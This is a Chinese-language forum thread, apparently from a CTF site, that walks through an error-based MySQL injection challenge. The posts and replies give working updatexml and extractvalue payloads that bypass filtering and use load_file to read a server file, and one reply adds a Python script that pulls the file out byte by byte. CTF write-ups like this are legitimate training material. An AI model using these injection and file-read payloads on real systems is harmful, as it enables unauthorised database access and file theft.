[Writeup] 报错注入

[复制链接]
查看11128 | 回复9 | 2017-8-14 13:44:24 | 显示全部楼层 |阅读模式
本帖最后由 daybreak 于 2017-8-14 13:44 编辑

1.如题说是报错注入  于是先判断是否 可以注入     双引号,单引号,空格等等都过滤了  
检查方式  反引号   
这里报错 如图

1

1

2.看到是mysql注入  在根据题目说明  于是直接上报错payload 这里有12中报错注入语句
详情可见我的帖子:http://www.bugku.com/forum.php?m ... ypeid%26typeid%3D26
这里随便用了一个方式   
22.png
3.看到我们的语句成功执行。本来想爆库,爆表,爆字段一套走flag的   结果发现  他说文件路径, 我嗅到了不寻常的气息,不禁停下来开始思考。。。哟西   我们来sql注入读文件吧。
payload:http://103.238.227.13:10088/index.php?id=1%0aand%0a1=(updatexml(1,concat(0x3a,(select%0ahex(load_file(0x2f7661722f746573742f6b65795f312e706870)))),1))
33.png
这里本来以为就是flag了  结果没那么简单。。。。。
这里显示的字符只是前30个   哈哈哈  真尴尬   。  于是用substr 截取  
但是updatexml   报错并不能加上 substr  也可能是我不了解  ,于是换个姿势
http://103.238.227.13:10088/index.php?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0aconcat(0x7e,substr((load_file(0x2F7661722F746573742F6B65795F312E706870)),86,149),0x7e)),0x7e))  看到了 flag  但是不是全部   自己尝试着截取吧   懒没写脚本。
后面的我就不多说了    flag就这么简单   

回复

使用道具 举报

daybreak | 2017-8-14 13:46:26 | 显示全部楼层
PS:  大家注意了   Flag格式  是   Flag:””
回复

使用道具 举报

daybreak | 2017-8-14 17:19:21 | 显示全部楼层
发现第一个截取为啥失败了    是因为  那个报错 要用substring截取   
回复

使用道具 举报

匿名 GreyLi | 2017-8-14 19:14:00 | 显示全部楼层
我加符号都 是跳转另外一个页面
回复

使用道具 举报

daybreak | 2017-8-15 09:26:51 | 显示全部楼层
GreyLi 发表于 2017-8-14 19:14
我加符号都 是跳转另外一个页面

我这里第一个id=1`   后面这个点  是反引号  不是单引号  注意了  。。
回复

使用道具 举报

sccdlth | 2017-8-15 11:53:19 | 显示全部楼层
爆flag的payload有一个点我要做一下补充说明,在mysql中substr(str,start,length),三个参数分别为:字符串,起始位置,截取长度。第三个参数理论上讲在这里大于30就可以,但是并不意味着这是一个可以随便输入的参数。
回复

使用道具 举报

daybreak | 2017-8-15 12:43:31 | 显示全部楼层
sccdlth 发表于 2017-8-15 11:53
爆flag的payload有一个点我要做一下补充说明,在mysql中substr(str,start,length),三个参数分别为:字符串 ...

我这里是测试过文件长度位149了  所以填的149
回复

使用道具 举报

sccdlth | 2017-8-17 18:04:37 | 显示全部楼层
daybreak 发表于 2017-8-15 12:43
我这里是测试过文件长度位149了  所以填的149

显位只有30个字啊
回复

使用道具 举报

daybreak | 2017-8-18 11:41:09 | 显示全部楼层
sccdlth 发表于 2017-8-17 18:04
显位只有30个字啊

是的 我将所有长度放上去     这样只用修改前面的start位置就行了.....方便
回复

使用道具 举报

匿名 Sund4y | 2018-3-29 16:33:14 | 显示全部楼层
回显长度是149,但是149并不是所有的flag,前30位都不是,数据是十六进制,转成char才能看到完整flag这里附上脚本,还请指教

import requests
import re
res=r'error\:\ \'\~(.*?)\'\<\/td\>'
st=''
num=0
result=''
for i in range(298):
        url='http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(0x7e,(select/**/substr((hex(load_file(0x2f7661722f746573742f6b65795f312e706870))),%d,1))),1)'%i
        result=requests.get(url)
        st+=re.findall(res,result.content)[0]
print st
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

匿名

9

主题

21

帖子

74

积分

版主

Rank: 7Rank: 7Rank: 7

积分
74